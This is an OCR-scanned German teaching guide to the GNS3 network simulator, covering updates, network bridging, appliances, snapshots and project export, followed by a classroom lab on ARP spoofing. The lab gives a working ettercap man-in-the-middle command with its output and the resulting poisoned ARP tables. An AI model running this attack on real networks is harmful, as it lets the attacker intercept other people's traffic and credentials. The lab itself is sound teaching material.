About ? *
€

About | Team Thanks to License Agreement

@ GNS3 2.2.52
Under GPL v3 license

GNS3
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Update des lokalen GNS3-Servers (GNS3 VM)

Die virtuelle Maschine des GNS3-Servers auf dem Hypervisor des Arbeitsplatzrechners
besitzt einen GUI fiir einige wenige Interaktionen. Eine wichtige Funktion dieser GUI ist
die Moglichkeit GNS3 einfach auf die neueste Version zu aktualisieren.

1. Version Uberprifen

GNS3 VM - VMware Workstation 17 Player (Non-commercial use only}
Payer = I - = [0 18

0
Uountu version: focal

il
virtuaLization: vmsre
WM support avellshle: True
Uotine: U O minutes
TF: 132.168.205.123 FORT: 80

To 10g In using S6H: ssh Ens3d192.166.209.125
Fassuord: gns3

To launch the Heb-Ui: http://132.168.209.129
Inages and projects are stared In 'soptignsa’

2. Aus dem Meni , Upgrade” wahlen

GNS3 2.2.52

Information Display WM information
Channel Select the release channel

Show the GNS3 server log
Check Internet connection
switch Oemu version
Security Configure server authentication
keyhoard Change keyboard layout
Console Change console settings (font size etc.)
Configure Edit server configuration (advanced users OMLY)
Froxy Configure proxy settings
Metwork Configure network settings
Migrate Migrate data to another GNS3 WM
Restare Restore the WM (if an upgrade has failed)
shrink shrink the vM disk
Reboot Reboot the WM
shutdown shutdown the WM

<Cancel>




gef. Snapshot zum aktuellen Status erzeugen

PLEASE SWAPSHOT THE VM BEFORE
RUNMING THE UPGRADE IW CRSE OF
FAILURE. The server will reboot
at the end of the upgrade

process. Continue?

aktuellste Version wahlen

select a GN33 version

Release
Release
Release
Release
Release
Release
Release
Release
Release
Release
Release
Release
Release
Release

AT <Cancely
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5. Nach einem automatischen Neustart Version iberpriifen

GNS3 VM - VMware Workstation 17 Player (Non-commercial use only) - 0O x
Player v || ~ & [I:I] ﬁ =

GNS3 serwver version: 2.2.53

WM version: 0.15.0

Ubuntu wversion: focal

demuy wersion: 4.2.1
Virtualization: vmware

KWM support available: True
Uptime: up O minutes

IP: 192.168.209.129 PORT: 80

To log in using SSH: ssh gns3@192.168.209.129
Password: gns3

To launch the Heb-Ui: http://192.168.209.129

Images and projects are stored in 'soptsgns3'
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Update des Remote-Servers (Ubuntu 24.04.1 LTS)

1. Version feststellen
gns3server - -version
Ausgabe z. B.: 2.2.52

2. System auf den aktuellen Stand bringen

e Paketlisten Updaten
sudo apt update

e Upgradefahige Paketlisten anzeigen
sudo apt list --upgradeable

Ausgabe z. B.
... gns3-server/noble 2.2.53~noble1 amd64 [aktualisierbar von: 2.2.52~noble3] ...

oder
sudo apt search gns3

Ausgabe z. B.

dynamips/noble,now 0.2.23-1~noble1 amd64 [Installiert,automatisch]

gns3-gui/noble 2.2.53~noble1 amd64
GNS3 GUI
gns3-iou/noble,now 0.0.3~noblel amd64 [installiert]
GNS3 support for IOU
gns3-server/noble 2.2.53~noblel amd64 [aktualisierbar von: 2.2.52~noble3]
GNS3 server
gns3-webclient-pack/noble 1.0.0b6~noble1 amd64
GNS3 WebClient pack to use with the GNS3 web interface
libcgns3.4/noble,noble 3.4.0-4 amd64

CFD General Notation System library
e Pakete upgraden
sudo apt upgrade
3. Erfolg des Upgrades (iberprifen
gns3server -- version

Ausgabe z. B.: 2.2.53
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ANLEITUNG - ERSTE INBETRIEBNAHME

Topologie mit Boardmitteln des GNS3 Clients

Mit den Boardmitteln des GNS3 Clients konnen Sie bereits ein erstes virtuelles
Netzwerkprojekt erstellen, anpassen und in Betrieb nehmen.

Die Auswahl der Netzwerkkomponenten ist sehr eingeschrankt und beschrankt sich auf
einfache Simulationen (VPCs, Ethernet Switch, ATM Switch, Frame Relay Switch,
Ethernet Hub), Komponenten um das virtuelle Netz mit dem realen Netz zu verbinden
(NAT und Cloud) und natirlich den Netzwerkverbindungen. Die Auswahl
kabelgebundener Verbindungen orientieren sich an den verfligbaren Schnittstellen der
Netzwerkkomponenten. Simulierte aktive Netzwerkkomponenten besitzen kein
emuliertes Betriebssystem. Die Interaktion folgt dem reduzierten Befehlssatz der
Simulation oder einer reduzierten GUI.

& Ghs3

Edit e Control Mode Annotate Tools Help

™ s TT /A2
E; o/ X ’7\ Y 1\

All devices [=]E3]

® |Fe=r
ATM switch

Cloud

1

a Ethernet hub
3 Ethernet switch
“ Frame Relay switch
== NAT

B ypes

Vg e

Emulierte aktive Netzwerkkomponenten stehen hier zwar erstmal noch nicht zur
Verfligung, ein einfaches Netzwerk mit einer Verbindung in reale Netze lassen dennoch
umsetzen.

Wir empfehlen, die ersten Schritte im Umgang mit GNS3 in dieser Umgebung.

1. GUI des GNS3-Clients erkunden
2. Erste Topologie erstellen und in Betrieb nehmen

Hinweis

Hilfe erhalten Sie in der GNS3-Dokumentation.

https://docs.gns3.com/docs/getting-started/your-first-gns3-topology



https://docs.gns3.com/docs/getting-started/your-first-gns3-topology
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Verbindung ins reale Netz

Das virtuelle Netz in Ihrem GNS3-Projekt kann mit dem realen lokalen Netz verbunden
werden.

Damit kann die virtuelle Infrastruktur in GNS3 alle Funktionen nutzen, die auf Dienste
des Internets oder LANs angewiesen sind.

Je nach Anforderung an die externe Verbindung kann entweder eine gebrickte
Verbindung bzw. eine Layer 2-Bridge (Cloud) oder eine NAT-Verbindung bzw. Layer 3-
NAT-Modus hergestellt werden

Cloud-Verbindung

Die verbundenen Schnittstellen des virtuellen Netzes und des realen Netzes befinden
sich im gleichen IP-Netz. Ein Netzwerkadapter (z. B. Ethernet Adapter) des Rechners, auf
dem GNS3 lauft, bildet eine Briicke ins virtuelle Netz. Dieser Layer-2-Briickenmodus
ermoglicht eingehende Konnektivitat.

| Reales Netz

Netzwerk-

Adapter

| i
1 ]
' i
i i
1 1
| i
: Layer-2-Bridge :
: |
| :
| i
I 1
1 1
' i
i i
| i
: !
] ]

GNS3 VM

virtuelle Umgebung

Steht im realen Netz ein Gateway mit DHCP-Funktion zur Verfligung, dann kann das
virtuelle Netz diese Dienste nutzen und so z. B. eine Internetverbindung herstellen. Das
virtuelle Netz in GNS3 und das reale Netz bilden ein IP-Netz.

Warnung: Da GNS3-Projekt-Labornetze zu Versuchs- und Lehrzwecken in erstellt
werden, und diese mit dem Layer-2-Briickenmodus direkte Konnektivitdt mit dem
realen Netz haben, sollten alle unbeabsichtigten Auswirkungen auf das reale Netzwerk
berlicksichtigen werden.
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Konfigurationsschritte

Cloud zur GNS3-Topologie hinzufligen
Auswahl des ,Servers” (VM oder realer Rechner) zu dem die Layer-2-Briicke
hergestellt werden soll. In der Installationsvariante fir den lokalen Betrieb ergibt
sich die Auswahl zwischen realen Rechner (,local Server”) und GNS3 VM.
Beabsichtigt ist eine Layer-2-Bricke mit dem Netzwerkadapter des realen
Rechners (local Server). Falls Sie die GNS3 VM wahlen, dann spielen zusatzlich
die Netzwerkadapter-Einstellungen in der VM eine Rolle.

3. In der Cloud-Konfiguration den gewiinschten Netzwerkadapter des realen
Rechners (z. B. Ethernet) auswahlen.
Cloud mit dem virtuellen Knoten verbinden

5. IP-Konfiguration automatisch beziehen oder statisch konfigurieren

6. Optional: Je nach Auspragung der virtuellen Topologie und Anspruch die
virtuellen aktiven Netzwerkkomponenten so konfigurieren, das Konnektivitat ins
reale Netz moglich ist. (z. B. NAT, Routing, usw.)

Hinweis: in der Dokumentation von GNS3 finden Sie ein Beispiel mit zwei virtuellen
Routern, die mit dem realen Netz verbunden werden.

https://docs.gns3.com/docs/using-gns3/advanced/connect-gns3-internet



https://docs.gns3.com/docs/using-gns3/advanced/connect-gns3-internet
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NAT-Verbindung

Eine direkte Verbindung aus dem LAN oder Internet in das virtuelle Netz ist nicht
moglich. Die Handhabung ist komfortabler und es ist ein Losungsansatz fiir eine schnelle
Verbindung aus dem virtuellen Netz ins Internet, um z. B. Installationspakete zu
beziehen. Das ist moglich, weil der Knoten mehrere automatische Funktionen (DHCP,
NAT und DNS) sofort nach der Installation bereitstellt.

StandardmaRig fiihrt der NAT-Knoten einen DHCP-Server mit einem vordefinierten Pool
im Bereich 192.168.122.0/24 (inside local) aus. Die externe Adresse (local outside) ist
die IP-Adresse des Netzwerkadapters ins reale Netz.

| Reales Netz

Netzwerk-

Adapter

Layer-3-NAT-Modus

1192.168.122.0/24
1

GNS3 VM

virtuelle Umgebung

Wenn an dem NAT-Knoten ein Switch angeschlossen ist, kann die externe Verbindung
flir mehrere Endpunkte des virtuellen Netzwerks angeboten werden. Es findet also Port
Address Translation (PAT) statt.

Auf bestimmten Betriebssystemen kénnen mehrere IP-Adressen auf einem einzigen
Adapter aktiviert werden. Mit dieser Konfiguration konnen sowohl interne als auch
externe Konnektivitat tiber einen einzigen Adapter bereitgestellt werden.
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Konfigurationsschritte

1. NAT zur GNS3-Topologie hinzufligen

2. Auswahl des ,Servers” (VM oder realer Rechner) mit dem PAT stattfinden soll. In
der Installationsvariante flir den lokalen Betrieb ergibt sich die Auswahl zwischen
realen Rechner (local server bzw. GNS3-Client) und GNS3 VM. An dieser Stelle ist
es ausschlaggebend auf welchem Betriebssystem GNS3 lduft. Der NAT-Knoten
basiert auf einem virtuellen Netzwerk-Setup, das ein Gateway fiir den
Internetzugang innerhalb der GNS3-Topologie bereitstellt. Dafiir ist eine Linux-
Umgebung erforderlich, weil libvirt und virbrO (virtuelle Bridge) benétigt werden,
um die Netzwerkadressiibersetzung zu ermoglichen. Insbesondere bei der
Verwendung von Docker Containern in GNS3 ist darauf zu achten. In unserem
Setting der lokalen Installation (Client auf Windows und GNS3 VM mit Linux)
nutzen wir daher die GNS3 VM, da hier Ubuntu Server LTS genutzt wird. Es kann
auch mit dem , Local Server” der auf Windows lauft funktionieren. Dann ist ggf.
zusatzlich dafir gesorgt, dass die virtuelle Bridge vorhanden ist.

3. NAT mit der virtuellen Appliance verbinden.
IP-Konfiguration automatisch beziehen oder statisch konfigurieren

5. Optional: Je nach Auspragung der virtuellen Topologie und Anspruch die
virtuellen aktiven Netzwerkkomponenten so konfigurieren, das Konnektivitat ins
reale Netz moglich ist. (z. B. NAT, Routing, usw.)

Hinweis: in der Dokumentation von GNS3 finden Sie ein Beispiel mit einem Docker-
Container (Webterm) der die Browserfunktionalitat bereitstellt, mit dem auf das
Internet zugegriffen werden soll.

https://docs.gns3.com/docs/using-gns3/advanced/the-nat-node



https://docs.gns3.com/docs/using-gns3/advanced/the-nat-node
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GNS3 - Appliances importieren

e

£ GNs3
Edit View Contrcl Node Annotate Jools |
Marketplace @ Appliances m = = - 4
B MNew blank project Ctrl+MN | |
&= Open project Ctrl+0

% Save project as..
=] Edit project
| Delete project
¥ Export portable project
] Import portable project

Import appliance
L Newtemate

4= Quit Ctrl+Q

[

Eine bebilderte Anleitung finden Sie in der Dokumentation von GNS3.
https://docs.gns3.com/docs/using-gns3/beginners/import-gns3-appliance

1.

VM aus dem Marketplace ( https://gns3.com/marketplace/appliances ) wahlen.

Es gibt auch andere Quellen.
Beschreibung der Appliance im Marketplace (Aktualitat, Verwendung und
Nutzerhinweise) bericksichtigen.
Appliance-Datei (.gns3) herunterladen. Diese Datei konnen Sie sich auch mal
genauer ansehen. Die Datei beschreibt die Appliance (alle Angaben, die der
Installationsassistent in GNS3 verwendet.)
Flir Appliance bendtigte Installationsdateien (z. B. .qcow, .iso) herunterladen

a. entweder direkt vom Marketplace

b. oder aus dem Installations-Assistenten heraus
Software-Version wahlen
Import aus Downloadordner, wenn bereits bezogen oder erst Download von
Anbieterseite.
ggf. Registrierung oder Kauf der VM (Nutzungsbedingungen beriicksichtigen)
Wenn die Bereitschaft zur Installation im Assistenten mit ,ready to install”
angezeigt wird, dann installieren
AbschlieBende Hinweise berlicksichtigen (z. B. Zugangsdaten wie username und
password fiir die VM)

10. Die Appliance (VM) ist nun verfligbar und kann fiur Projekte verwendet werden.



https://docs.gns3.com/docs/using-gns3/beginners/import-gns3-appliance
https://gns3.com/marketplace/appliances
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Projekte auf dem Remote-Server duplizieren

GNS3-Projekte, die Giber den Remote-Server in einer verteilten Installation bereitgestellt
werden, kdnnen - nachdem sie importiert wurden - fir verschiedene Gruppen oder
Nutzer vervielfdltigt werden. Um Adresskonflikte zu vermeiden konnen bei der
Vervielfaltigung MAC-Adressen zuriickgesetzt werden.

Vorgehensweise:

1. Uber File > Open Project dffnet sich das Fenster Project
Uber die Registerkarte Projects library haben Sie eine Ubersicht zu den
verfligbaren Projekten.

3. Mit dem Haken ,Reset MAC adresses” Adresskonflikten vorbeugen
Project auswahlen und (iber Duplicate das Projekt so oft wie erforderlich und
moglich vervielfaltigen.

6.

Mew project Projects library

Name “ Status Path =
012_PCs closed fopt/gns3/projects/1c1fcObb-2479-4207-886c-4355f1394faf\01 2_PC
ARP-5poofing_Gruppel closed fopt/gns3/projects/139a92d9-41ce-4253-b1b3-4535e49b 1d5ae\ ARP-{
ARP-5poofing_Gruppe2 closed fopt/gns3/projects/20ba%ach-f842-4fa2-b2bec-13c0bfav3599ARP-5
ARP-5poofing_Gruppe3 closed fopt/gns3/projects/c2a74512-5fad-467a-08e1-eead086acI5 N ARP-5)
ARP-5poofing_Grupped closed fopt/gns3/projects/895358c4-a53e-401b-82d5-95d ddeebOcfB\ARP-5
ARP-5poofing_Gruppe3 closed [opt/gns3/projects/eccbb5f6-55af-47eb-9d72-49a7f3badfb2\ARP- 5
ARP-5poofing_nonCisco closed fopt/gns3/projects/Thb615e8-9629-4790-2742-02f59efbalba\ ARP-5|
ARP-Spoofing_nonCisco_V1.0 closed [opt/gns3/projects/balf871b-df4f-4da7-aBe8-262097a95c5NARP-Sy
ARP-5poofing_nonCisco_V1.0-1_C closed fopt/gns3/projects/73328d3a-537b-43%e-9bba-a55dea3ibcd P ARP-!
ARP-5poofing_nonCisco_V1.0-2_C closed fopt/gns3/projects/63748201-2c16-4f24- bdb3-781358378b96\ARP-5
ARP-5poofing_nonCisco_V1.0-3_C closed fopt/gns3/projects/df24c68c-1e07-4285-b671-d6elB8Ted 266V ARP-5
ARP-5poofing_nonCisco_V1.0-4_C closed fopt/gns3/projects/1ef6406b-f203-42a6-98e6-1ac73169bcab\ARP-5¢
DHCP_Starvation_nonCisco closed fopt/gns3/projects/ch741a13-5614-4231-0425-8af T 1bf 1R 1TW\DHCP
DM5_Spoofing_C closed Sfopt/gns3/projects/2c08f332-0c31-447b-a0b0-23f600b64dd3NDMNS 5 ~

q [
Delete Duplicate ¥ Reset MAC addresses . Refresh list

Settings OK Cancel
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Profileinrichtung

Profile helfen beim Starten von GNS3, wenn in unterschiedlichen
Installationsumgebungen gearbeitet wird. In unseren beiden Szenarien der lokalen
Installation und der verteilten Installation bieten sich Profile an, die wir z. B.
»Standalone” und ,,Remote” nennen. Jedes Profil beinhaltet die Konfiguration, die fir
die jeweilige Umgebung erforderlich ist. Die Konfiguration muss also nicht jedes Mal
manuell vorgenommen werden.

B Profile selection ? %

V| Shov Remote
Standalone

GNS3

OK

Konfigurationsschritte:

1. Um die Profilauswahl beim Start nutzen zu konnen ist es erforderlich diese zu
aktivieren.
2. Inder GNS3 GUI erfolgt diese unter Edit > Preferences > General > Miscellaneous.

3. Die Aktivierung erfolgt durch das Setzen des Hakens in der Checkbox fir
»Request for profile settings at application startup”

4. SchlieRen Sie GNS3

5. Beim nachsten Start erscheint das Fenster ,,Profile selection”.

6. Nun kann mit dem Button ,New” ein Profil angelegt werden.

7. Im ersten Schritt wird ein Name fir das Profil vergeben. In der Annahme ein

Profil fir den Standalone-Betrieb zu erzeugen, nennen wir das Profil z. B.
Standalone.
8. Es kann ein weinig dauern, bis sich der Setup-Wizard 6ffnet.
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9. Unter Server wird nun festgelegt, welches Installationssetting im jeweiligen
Profil genutzt werden soll.

e run appliances in a virtual machine (das ware flr die lokale Installation der Fall)

e run appliances on my local computer (trifft flir unsere Installationen nicht zu)

e run appliances on a remote server (trifft auf unsere verteilte Installation zu)

10. Im Falle der verteilten Installation sind die erforderlichen Verbindungsparameter
fir den Remote Server einzugeben. (Name, Host (IP), Port, und bei
Authentifizierung zusatzlich user und password. (siehe auch GNS3-Remote-
Server Installation)

11. Mit dem Neustart von GNS3 ist das erzeugte Profil im Fenster ,Profil selection”
verfligbar.

Remote-Server konfigurieren

In der Umgebung der Schulnetzinfrastruktur stehen fir die SuS im einfachsten Fall
GNS3-Client-Installationen zur Verfliigung. Fir erweiterte Funktionen in GNS3 wird
zusatzlich ein Remote-Server bereitgestellt.

Es kann also eine Aufgabe sein, die Verbindung zwischen GNS3-Client und GNS3-
Remote-Server herzustellen.

Konfigurationsschritte:

1. Verbindungsparameter zur Verfligung stellen
Im GNS3-Client unter Edit > Preferences > Server > Register ,,Remote Servers” >
Add

3. In den ,server settings” die bereitgestellten Verbindungsparameter eingeben
und mit OK bestatigen

@ «dit server settings ? X
Server settings
Name:
Protocol: | HTTP -
Host:

Port: 3080 TCP

Ll

V| Enable authentication

User:

Password:

OK Cancel
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Export/Import

Erstellte GNS3-Projekte konnen gesichert und ausgetauscht werden, indem die
Export/Import-Funktion genutzt wird. Das Dateiformat ist *.gns3project

Vorgehensweise Export:

1. Das Projekt, welches exportiert werden soll, muss getffnet sein, darf aber nicht
gestartet sein. Ggf. zuerst stoppen.
2. Unter File > Export portable project wahlen

@ Export project ? X

Export project
Please select the location, whether to include base images or not and the compression type.

Path: | Browse...
Compression: | Zip compression (deflate) v
Include base images
Include snapshots
Reset MAC addresses

Keep the original compute IDs

Help < Back Next > Cancel

3. Uber ,Browse” einen Speicherort bestimmen.
4. Ein geeignetes Format fir die Komprimierung wahlen.
5. Optionen fiir den Export wahlen
a. Include base images: nimmt alle Appliances des Project mit und stellt
diese fiir den Import in einer anderen Umgebung bereit. Beachten Sie die
Hinweise!!l
b. Include snapshots: nimmt alle Snapshots mit, die im Projekt gemacht
wurden.
c. Reset MAC addresses: Soll Adresskonflikte innerhalb eines Projekts
verhindern.
d. Keep the original compute IDs: Kennung fiir den Betriebsort
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Zusdtzliche Hinweise zum Export:

e Inkludieren Sie die ,Base Images”, dann sind diese in der Umgebung des Import
verfligbar.
o Beachten Sie die Lizenzen und Nutzungsbedingungen, denen zugestimmt
wurde. Bsp.: Im Marketplace finden Sie fertige Projekte. Diese werden u.
A. aus lizenzrechtlichen Griinden ohne Images bereitgestellt. Um die
Projekte im vollen Umfang nutzen zu konnen, ist der Import der
Appliances zusatzlich erforderlich.
o Beachten Sie den Speicherumfang des exportierten Projekts mit Base-
Images
e Manuell konfigurierte MAC-Adressen werden in der Projektdatei gespeichert
und nicht durch die Reset-Option (berschrieben. Die Option Reset MAC
Addresses wirkt sich nur auf automatisch generierte MAC-Adressen aus, nicht
auf manuell gesetzte
e Die Compute ID ist fiir den Controller in GNS3 wichtig. Sie identifiziert den
Bereitstellungsort (Server). Beim Wechsel des Projekts von der lokalen auf die
verteilte Installation nicht erforderlich.

Vorgehensweise Import:

Die exportierte Datei kann in der neuen Umgebung liber File > Import portable project
wiederhergestellt werden.
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Snapshot

Snapshots sind gespeicherte Zustande eines Projekts, die z. B. bei der
Unterrichtsvorbereitung nitzlich sein kénnen.

1.

Konfigurationsschritte konnen mehr oder weniger vervollstandigt werden und in
einzelnen Snapshots verfligbar sein. z. B. Schnittstellen ohne IP-Adressen =
Zustand A und Schnittstellen mit IP-Adressen Zustand B

Unterschiedliche Konfigurationen des gleichen Projekts kénnen (iber Snapshots
erzeugt werden. z. B. Schnittstellen mit IP-Adressen aus 10.0.0.0/8 = Zustand A
und Schnittstellen mit IP-Adressen aus 172.16.0.0/12 = Zustand B

Vorgehensweise:

o v A wWN

Ein Projekt erstellen (z. B. zwei Hosts tiber Switch verbunden)

Einen Snapshot zum Zustand A erstellen.

Konfiguration andern

Einen Snapshot zum Zustand A erstellen.

Uber Restore Snapshot kann zwischen den Zustinden gewechselt werden
Der Speicherort fir Snapshots ist der Projektordner.

Aufruf des Snapshotfensters

€ VLAN Hopping - GNS3
File Edit View Control MNode Annotate Tools Help

e OF>)> HC EZEIIC..6§QQ0

Snapshots — Interaktionsfenster

6 Snapshots ? X

2025 01 27 14 on 27/01/25 at 14:12:19
Zustand_A on 27/01/25 at 15:01:53
Zustand_B on 27/01/25 at 15:02:06

Delete Restore Close
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Speicherverhalten in GNS3-Projekten

Speicherverhalten in Abh. der verwendeten Appliances

In den Konfigurationseinstellungen einer Appliance (Rechtsklick auf die Appliance)
erkennen Sie ob eine virtuelles dauerhaftes Speichermedium (z. B. HDD) vorhanden ist
oder nicht.

Docker-Container:

e Standardverhalten: Anderungen in einem Container (z. B. installierte Pakete,
Konfigurationen) sind nicht persistent, es sei denn, sie werden explizit gesichert
(z. B. mit einem Docker-Commit oder Volumes).

e Empfohlene Strategie: Container-Images mit allen benétigten Tools nutzen und
Anderungen im Projekt speichern. Oder ein neues Image mit docker commit
erzeugen.

QEMU-Appliances:

e Standardverhalten: Konfigurationen, die auf der virtuellen Festplatte
gespeichert werden, bleiben erhalten.

e Empfohlene Strategie: Snapshots nutzen, um kritische Zustande zu sichern, und
das Projekt mit der Option "Include base images" exportieren.

I0U/10S, 10Sv, Dynamips (Cisco-Router und Switches):

e Standardverhalten: Konfigurationen werden im NVRAM gespeichert, wenn sie
mit write memory gesichert werden.

e Empfohlene Strategie: Speichere die Konfiguration immer mit write memory,
und sichere das Projekt mit Snapshots, um den aktuellen Zustand der Gerate zu
konservieren.

VMware- oder VirtualBox-Appliances:

e Standardverhalten: Anderungen an der virtuellen Festplatte sind persistent.
e Empfohlene Strategie: Sichere Anderungen durch Snapshots in GNS3 oder durch
Exportieren der Appliance in der Virtualisierungssoftware.

Zusdtzlicher Hinweis:

Unter Tools gibt es die Funktion Import/Export node configs. Zum Zeitpunkt der
Skripterstellung (GNS3 Version 2.2.53) konnte die Funktion nicht zufriedenstellen. Die
optimale Sicherung wird tber die Funktion Export/Import portable project unterstiitzt.
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GOOD PRACTICE 01 — ARP-SPOOFING

ARP-Spoofing

19.12.2024
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Fachlicher Hintergrund

Definition ARP-Spoofing und Poisoning

Die beiden Begriffe ARP-Spoofing und ARP-Poisoning werden oft synonym verwendet.
Beim Spoofing werden durch Angreifer ARP-Abfragen vorgetdauscht und die Zuordnung
von IP-Adresse zu MAC-Adresse in den ARP-Tabellen der Netzwerkgerate gedndert, so
dass der Angreifer zum Man-in-the-middle wird und den Datenverkehr mith6ren oder
manipulieren kann. Die gefdlschten ARP-Tabellen sind nach diesem Vorgang
yvergiftet”.

ARP-Spoofing ist ein Angriff, der nur dann moglich ist, wenn sich der Angreifer und das
Angriffsziel innerhalb eines IP-Netzes mit der L2-Technologien 802.3 oder 802.11
befinden. Das Ubertragungsmedium (kabelgebunden oder wireless) ist nicht relevant.

ARP-Spoofing dient oft zur Vorbereitung (z.B. um an Kennworter/Zugangsdaten zu
gelangen) von grofReren Angriffsszenarien um.
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Die Labortopologie

Das Labor besteht aus einem einfachen geswitchten LAN-Netzwerk mit drei LAN-
Knoten, einem Standard-Gateway und einem Remote-WAN-Knoten, der als Telnet-
und HTTP-Server dient.

HTTP-Server

WAN
192.168.0.0/24
1 el
Gateway @
\ES/
1 e0
172.16.1.0/24
Switch
) €0
LAN
2
@9

e3 o
Angreifer
Routerl / T o2 ensd g
@ w0 .66
A1 e0

LAN-Knoten:

e Switch: Ethernet Switch

e Gateway: Open WRT Router 23.05.0
e Routerl: Open WRT Router 23.05.0
e PC1: Firefox (Docke Container)

e Angreifer: Debian 12.6

WAN-Knoten:
e Server: Open WRT Router 23.05.0, HTTP-Server

Der Angreifer-Knoten ist ein Debian-System, von dem aus Sie die Man-in-the-Middle-
Angriffe starten. Es ist die Verwendung von anderen Systemen ist moglich, wichtig ist,
dass ettercap installiert ist.

angreifer@debian:~$ sudo apt install ettercap-text-only
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ARP-Spoofing-Angriff ausfiithren

Uberzeugen Sie sich vor Beginn des Angriffes, dass die ARP-Tabelle von Router1 leer
ist. Pingen Sie anschlieBend andere Netzwerkgerate in der Topologie an, damit die
ARP-Tabelle gefiillt wird.

root@Routerl:/# arp -a
IPaddress HWtype Flags HW address Mask Device

root@Routerl:/# ping 172.16.1.1
64 bytes from 172.16.1.1: seq=0 ttlI=64 time=1.478 ms
64 bytes from 172.16.1.1: seq=1 tt|=64 time=0.969 ms

root@Routerl:/# ping 172.16.1.11
64 bytes from 172.16.1.11: seq=0 ttl=64 time=1.930 ms
64 bytes from 172.16.1.11: seg=1 ttlI=64 time=0.925 ms

root@Routerl:/# ping 172.16.1.66
64 bytes from 172.16.1.66: seq=0 tt|=64 time=1.283 ms
64 bytes from 172.16.1.66: seq=1 ttl=64 time=0.813 ms

Nachdem die ARP-Tabelle nun befillt wurde, zeigen Sie die ARP-Tabelle an, um einen
Einblick in die MAC-zu-IP-Adress-Bindungen im Labornetzwerk zu erhalten.

root@Routerl:/# arp -a

IPaddress HWtype Flags HW address Mask Device
172.16.1.1 0x1 0x2 Oc:ca:1f:4f:00:00 * br-lan
172.16.1.11 0Ox1 0x2 00:00:00:00:00:11 * br-lan
172.16.1.66 0Ox1 0x2 0Oc:cd:f0:af:00:66 * br-lan

Merken Sie sich die MAC-Adresse von Angreifer (Oc:cd:f0:af:00:66) sowie die MAC-
Adresse des Gateway-Routers (Oc:ca:1f:4f:00:00) aus der ARP-Tabelle von Routerl. Sie
kénnen dieselbe Uberpriifung auf der Seite des Gateways durchfiihren und die
korrekte MAC-zu-IP-Zuordnung fiir Routerl notieren.

root@Gateway:/# arp -a

IP address HW type Flags HW address Mask Device
172.16.1.5 Ox1 0x2 Oc:cd:f0:af:00:00 * br-lan
172.16.1.66 Ox1 0Ox2 Oc:cd:fO:af:00:66  * br-lan

192.168.0.100 0x1 0x2 Oc:6a:7a:ee:00:00 * ethl
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ARP-Spoofing-Angriff einleiten

Sie fihren den Man-in-the-Middle-Angriff mithilfe der ARP-Spoofing-Technik vom
Angreifer (Debian System) durch. Dazu verwenden Sie das Dienstprogramm ettercap.

Dieses Dienstprogramm vergiftet die ARP-Eintrage in den definierten Zielen, in diesem
Fall 172.16.1.5 (Routerl) und 172.16.1.1 (Gateway). Genauer gesagt wird es die MAC-
Adresse von dem Angreifer (Debian System) an beide Zielknoten mit den gefalschten
IP-Adressinformationen bekannt geben.

Der komplette Datenverkehr vom Routerl wird nach dem Ausfiihren von ettercap
Uber den Angreifer (Man-in-the-middle) umgeleitet.

Fihren Sie auf der Konsole vom Angreifer den folgenden Befehl aus:

angreifer@debian:~$ sudo ettercap -T -i ens4 -M arp:remote //172.16.1.5//
//172.16.1.1//

sudo: Der Befehl wird mit sudo ausgefihrt, was bedeutet, dass er mit
Administratorrechten (Superuser-Rechten) ausgefihrt wird.

ettercap: Dies ist das Hauptprogramm, das ausgefiihrt wird.

-T: Diese Option steht flir den "Textmodus". Sie weist Ettercap an, im Terminal- oder
Konsolenmodus zu arbeiten, anstatt eine grafische Benutzeroberflache (GUI) zu
verwenden.

-M arp:remote: -M bedeutet, dass ein MitM-Angriff durchgefiihrt werden soll.
arp:remote gibt an, dass ARP-Spoofing gegen ein entferntes Ziel durchgefihrt werden
soll.

-i ens4: Dies gibt das Netzwerkinterface an, das verwendet werden soll.
//172.16.1.11//: Dies ist die IP-Adresse des Zielhosts, der angegriffen werden soll.

//172.16.1.1//: Dies ist die IP-Adresse des Gateways oder eines anderen Hosts im
Netzwerk, auf den Sie ebenfalls zugreifen mochtest.




Sie sollten eine Ausgabe erhalten, die in etwa wie folgt aussieht:
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copyright 2001-2020 Ettercap Development Team
[ 502.492419] device ens4 entered promiscuous mode
Listening on:
ens4 -> 0C:CD:FO:AF:00:66
172.16.1.66/255.255.255.0
fe80::ecd:fOff:feaf:0/64
[...]

Scanning for merged targets (2 hosts)...

* | >| 100.00 %
2 hosts added to the hosts list...

ARP poisoning victims:

GROUP 1:172.16.1.5 0C:AD:B4:B6:00:00

GROUP 2:172.16.1.1 0C:CA:1F:4F:00:00

Starting Unified sniffing...

Text only Interface activated...
Hit 'h' for inline help

Wed Dec 18 12:02:10 2024 [847784]
172.16.1.5:0 --> 172.16.1.1:0 | P (0)

Wed Dec 18 12:02:10 2024 [854950]
172.16.1.1:0 --> 172.16.1.5:0 | (0)
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ARP-Spoofing erkennen

Ettercap hat gratuitous ARP (,unaufgeforderte ARP“)-Pakete an Routerl und Gateway
gesendet und ihre ARP-Tabellen sind nun mit ARP-Eintragen vergiftet, die auf folgende
Weise auf den Angreifer (Man-in-the-middle) verweisen:

e Routerl verweist auf Angreifer-MAC fir Gateway-IP (172.16.1.1)
e Das Gateway wird auf die MAC-Adresse von Angreifer fiir die IP-Adresse von
routerl (172.16.1.5) verweisen.

Uberpriifen Sie, ob die ARP-Tabellen tatsichlich vergiftet sind. Uberpriifen Sie
zunachst die ARP-Tabelle von Routerl. Denken Sie daran, dass die MAC-Adresse fir
den Angreifer Oc:cd:f0:af:00:66 lautet!

In der nachfolgenden Ausgabe ist der Zustand der ARP-Tabelle von Routerl vor und
nach dem Angriff dargestellt. Der Hardwareeintrag des Gateways wurde auf die MAC
des Angreifers geandert.

root@Routerl:/# arp -a

IPaddress HWtype Flags HW address Mask Device
172.16.1.1 0x1 0x2 Oc:ca:1f:4f.00:.00 * br-lan
172.16.1.11 0Ox1 0x2 00:00:00:00:00:11 * br-lan
172.16.1.66 Ox1 0x2 Oc:cd:fO:af:00:66  * br-lan

root@Routerl:/# arp -a

IPaddress HWtype Flags HW address Mask Device
172.16.1.1 0x1 0x2 Oc:cd:f0:af:00:66  * br-lan
172.16.1.11 0Ox1 0x2 00:00:00:00:00:11 * br-lan
172.16.1.66 0x1 0x2 Oc:cd:f0:af:00:66  * br-lan

Als Nachstes liberpriifen Sie die ARP-Tabelle des Gateways. Erkennbar ist auch hier,
dass die MAC-Adresse des Angreifers der IP-Adresse des Routerl zugewiesen wurde.

root@Gateway:/# arp -a

IP address HW type Flags HW address Mask Device
172.16.1.5 0x1 0x2 Oc:cd:f0:af:00:66 * br-lan
